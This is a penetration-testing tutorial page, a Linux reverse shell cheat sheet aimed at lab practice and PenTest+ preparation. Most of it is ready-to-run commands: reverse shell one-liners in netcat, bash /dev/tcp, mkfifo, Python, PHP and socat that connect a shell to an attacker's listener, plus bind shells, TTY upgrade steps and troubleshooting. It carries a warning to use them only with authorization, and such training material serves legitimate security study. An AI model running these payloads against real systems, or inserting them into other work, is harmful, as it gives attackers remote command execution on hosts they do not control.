Reverse Shell Cheat Sheet: Netcat, Bash, Python & TTY Upgrade

Deepak Prasad
Tested on Kali GNU/Linux Rolling 2026.2 (kali-rolling)
Package netcat-traditional 1.10-50.1 (nc)
ncat 7.99
socat 1.8.1.1
bash 5.3.9
python3 3.13.12
Lab environment Pentest lab
Privilege Normal user for listeners; code execution on the target for callbacks
Cert prep CompTIA PenTest+ — post-exploitation shells
Man page nc(1) (netcat-traditional)
Scope Linux reverse and bind shells, Netcat variant differences, bash/Python/PHP/socat callbacks, TTY upgrade, and listener troubleshooting. Does not cover Windows/PowerShell payloads, msfvenom builders, or persistence.
Related guides Learn hacking using Metasploitable 2
Network reconnaissance using Nmap
Linux privilege escalation
Short on time?Beta Get the gist of this 10-minute read in seconds, then ask follow-up questions

A reverse shell is a phone call the target places to you: you listen on Kali, the host dials your IP and port, and you get a command prompt. A bind shell is the opposite call direction. This cheat sheet is for authorized ethical hacking labs on Linux.

This page focuses on Linux callbacks. PowerShell and Windows reverse shells belong on a separate guide.

On Kali, set the address the target can reach (your host-only NIC from ip a, not localhost):

bash
export LHOST=192.168.56.120 LPORT=5555

LHOST is your Kali IP on the lab network. LPORT is the port you listen on. Change both to match your lab.

IMPORTANT
Use these techniques only on systems you own or are explicitly authorized to test. Reverse and bind shells are post-exploitation tools. Running them against production hosts without permission is illegal. Put shell delivery inside your rules of engagement before a client engagement.

Reverse shell — quick reference

Listener

When to use Command
Traditional Netcat nc -l -p "$LPORT" -v
Ncat ncat -l "$LPORT" -v
Socat (PTY-friendly) socat file:$(tty),raw,echo=0 tcp-listen:$LPORT

Reverse callback (target → you)

When to use Command
Traditional nc with -e nc "$LHOST" "$LPORT" -e /bin/bash
Bash /dev/tcp bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
OpenBSD/BusyBox nc + mkfifo rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc "$LHOST" "$LPORT" > /tmp/f
Ncat with -e ncat "$LHOST" "$LPORT" -e /bin/bash
Python 3 see examples below
PHP CLI see examples below
Socat socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT

Bind shell and TTY

When to use Command
Target listens nc -l -p "$LPORT" -e /bin/bash -v
You connect nc "$RHOST" "$LPORT"
Spawn a PTY python3 -c 'import pty; pty.spawn("/bin/bash")'
Local size, then remote stty size → stty rows ROWS cols COLS

For generated ELF payloads and Metasploit handlers, use the Metasploit tutorial.


Reverse shell vs bind shell

After you get code execution, you usually want an interactive shell. The only big difference is who starts the TCP connection.

Reverse shell vs bind shell: target connects out to attacker listener; bind shell has target listen and attacker connect in

Reverse shell Bind shell
Direction Target initiates an outbound callback Target listens; you connect inbound
Firewall / NAT Often works when outbound TCP is allowed Fails when inbound high ports are blocked or the host is behind NAT
Lab default Prefer after RCE Use when you can already reach the bind port

Most networks allow outbound traffic more readily than inbound. That is why reverse shells are the usual default. Full command lines are in the quick reference and examples below.


LHOST, LPORT, and listener setup

  • LHOST: your Kali IP as the target must see it
  • LPORT: the TCP port where you listen

Three things have to be true or the shell never appears:

  • Your listener is already running when the callback starts
  • The target can reach that IP on the lab path (same VirtualBox host-only subnet is typical)
  • The port is free on Kali, and nothing in between drops the traffic

From the target (or another host on the target-side network path), check that your IP answers:

bash
ping -c 2 "$LHOST"
output
PING 192.168.56.120 (192.168.56.120) 56(84) bytes of data.
64 bytes from 192.168.56.120: icmp_seq=1 ttl=64 time=0.045 ms
64 bytes from 192.168.56.120: icmp_seq=2 ttl=64 time=0.038 ms

Some labs block ICMP. That is fine. With the listener already up, probe the port from the target (or from a second host that shares the target’s path to Kali):

bash
nc -z -v "$LHOST" "$LPORT"
output
192.168.56.120: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.120] 5555 (?) open

Run that probe from the target side. Running nc -z on Kali against Kali’s own address only proves a local process is listening. It does not prove routing, firewall, or NAT will let the target through.

Connection refused usually means nothing is listening yet, or you used the wrong port. Connection timed out usually means a wrong IP, a firewall, or NAT in the way.


Netcat variants: traditional, OpenBSD, and ncat

nc is not one program. Different builds explain why a blog post with -e works on one box and fails on another.

Variant Common package -e / -c? Listen example On this tested Kali 2026.2 host
Traditional netcat-traditional Yes nc -l -p PORT nc resolves to /usr/bin/nc.traditional
OpenBSD netcat-openbsd No Often nc -l PORT Common default on Debian/Ubuntu targets
Nmap Ncat ncat Yes ncat -l PORT Install the ncat package

Check the binary on the host that will run the payload:

bash
readlink -f "$(command -v nc)"
output
/usr/bin/nc.traditional

On this image that path means -e works. OpenBSD Netcat prints invalid option -- 'e'. Fall back to bash /dev/tcp, Python, PHP, Ncat, socat, or mkfifo.

Flags you need for shells (behavior depends on the build):

Flag Purpose
-l Listen for inbound connections
-p port Local port (required with -l on traditional netcat)
-e filename Exec after connect (traditional / ncat; not OpenBSD)
-c string Run /bin/sh -c string after connect on some builds (traditional / ncat). Not portable to OpenBSD nc
-v Verbose (connect to […] proves the callback landed)
-n Numeric addresses only
-z Zero-I/O probe
-w secs Connect/read timeout

Ncat listen syntax drops the mandatory -p: ncat -l 5555 -v. OpenBSD listen often looks like nc -l 5555.


Tested Linux reverse shell examples

Start a listener in one terminal, then run the matching callback on the target (or loopback on Kali for practice).

Essential Netcat reverse shell with -e

When the target has traditional Netcat or Ncat, this is the shortest reverse shell.

Listener on Kali:

bash
nc -l -p "$LPORT" -v
output
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35574

On the target:

bash
nc "$LHOST" "$LPORT" -e /bin/bash

Type commands in the listener window. Messages like cannot set terminal process group mean the shell works but is dumb (no proper terminal). Upgrade it in the TTY section below.

Essential Bash reverse shell without Netcat

Use this when the target has bash but no usable nc -e.

Listener:

bash
nc -l -p 6666 -v

On the target:

bash
bash -i >& /dev/tcp/"$LHOST"/6666 0>&1
output
listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 35846
bash: cannot set terminal process group (1154737): Inappropriate ioctl for device
bash: no job control in this shell

Those ioctl lines are normal for a raw callback. Connection refused means the listener was not up or the IP/port pair is wrong.

Common OpenBSD-style Netcat reverse shell with mkfifo

OpenBSD Netcat will not run -e. A named pipe still connects a shell through nc.

Listener:

bash
nc -l -p 5577 -v

On the target:

bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc "$LHOST" 5577 > /tmp/f
output
listening on [any] 5577 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 46352
/bin/sh: 0: can't access tty; job control turned off

Keep the rm -f so an old FIFO does not break the line. Prefer bash /dev/tcp, Python, or socat when they exist.

Common Python 3 reverse shell one-liner

Many Linux servers have Python even when Netcat is locked down.

Listener:

bash
nc -l -p 4444 -v

On the target (put your real LHOST and port in the connect line):

bash
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.56.120",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

You should see connect to [...] on the listener. If it connects and then dies, run command -v bash on the target and fix the path in the one-liner.

Common PHP reverse shell one-liner

Handy after a web foothold when the host already has the PHP CLI.

This compact PHP form assumes the socket becomes file descriptor 3. That is common but not guaranteed. If you connect and get no shell, try another descriptor number for that PHP build.

Listener:

bash
nc -l -p 8888 -v

Target:

bash
php -r '$sock=fsockopen("192.168.56.120",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

If the injection point is too short for -r, upload a small PHP file instead.

Common Socat reverse shell with a PTY

Socat can give a cleaner interactive session than raw Netcat. Run the listener in a real terminal window (it attaches to your TTY).

Listener on Kali:

bash
socat file:$(tty),raw,echo=0 tcp-listen:$LPORT

On the target:

bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$LHOST:$LPORT

When the callback lands, you should get an interactive bash with fewer “no job control” quirks than a dumb nc shell. If you only need a quick connect proof without a TTY, a Netcat listener still works as the catcher.

Advanced Netcat bind shell on the target

Here the target listens, and you connect from Kali. Use this when outbound callbacks are blocked but you can reach a high port on the target.

On the target:

bash
nc -l -p 9999 -e /bin/bash -v

From Kali (set RHOST to the target IP):

bash
echo "whoami; id" | nc -v "$RHOST" 9999

Sample below is a loopback practice run on Kali as the normal kali user (RHOST=127.0.0.1). On a remote lab VM, expect the target’s IP in the open line instead of localhost.

output
localhost [127.0.0.1] 9999 (?) open
kali
uid=2102(kali) gid=2102(kali) groups=2102(kali)

If inbound ports are firewalled or the host is behind NAT, this fails and a reverse shell is the better choice.


Upgrade a reverse shell to a TTY

A fresh reverse shell often cannot handle Ctrl-C, arrow keys, or clear. Upgrade it when you need to work longer in that session.

On the remote shell:

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'

Press Ctrl-Z to pause the remote process. On your local Kali terminal, read the window size first:

bash
stty size
output
40 120

Those two numbers are rows then columns. Put the remote job back in the foreground with a raw local TTY:

bash
stty raw -echo; fg

When the session returns, type reset, then set terminal type and size to match what you just read:

bash
export TERM=xterm-256color
stty rows 40 cols 120

Run tty afterward. A path like /dev/pts/5 means you have a real terminal. Socat’s PTY callback above can skip some of this when both ends support it.


Reverse shell troubleshooting and cleanup

Symptom Likely cause Fix
Connection refused on target Listener not running or wrong port Start the listener first; match LPORT
Connection timed out Wrong LHOST, NAT, routing, or firewall Use the host-only IP the target can reach; probe with nc -z from the target
Listener connects, shell exits instantly Wrong shell path command -v bash; fix path in the one-liner
nc: invalid option -- 'e' OpenBSD netcat on target Use bash /dev/tcp, Python, Ncat, socat, or mkfifo
PHP connects, no shell Wrong file descriptor Try a descriptor other than 3 for that PHP build
Garbled / no job control No TTY on callback PTY spawn + stty size / stty raw -echo; fg, or use socat
Bind shell works locally only Firewall or NAT blocks inbound Prefer reverse shell
Port already in use Another process owns LPORT ss -tlnp | grep PORT; pick a free port
Works on loopback, fails across VMs LHOST=127.0.0.1 or wrong NIC Export Kali’s host-only IP (ip a), not localhost

When the lab demo ends:

  • Press Ctrl-C on Kali to stop the listener
  • On the target, type exit, then remove anything you dropped (/tmp/f, a PHP file, a test binary)
  • Do not leave cron jobs, new users, or other persistence for a callback exercise

If a listener is stuck in the background, run ss -tlnp | grep "$LPORT" and stop that PID.


References

Finished reading?Beta Get the key takeaways in seconds, then ask follow-up questions
Kennedy Muthii

Information Security Analyst

Accomplished professional proficient in Python, ethical hacking, Linux, cybersecurity, and OSINT. With a track record including winning a national cybersecurity contest, launching a startup in Kenya, and holding a degree in information science, he is currently engaged in cutting-edge research in ethical hacking.

  • Python (programming language)
  • Certified Ethical Hacker
  • White Hat (Computer Security)
  • Linux
  • Penetration Testing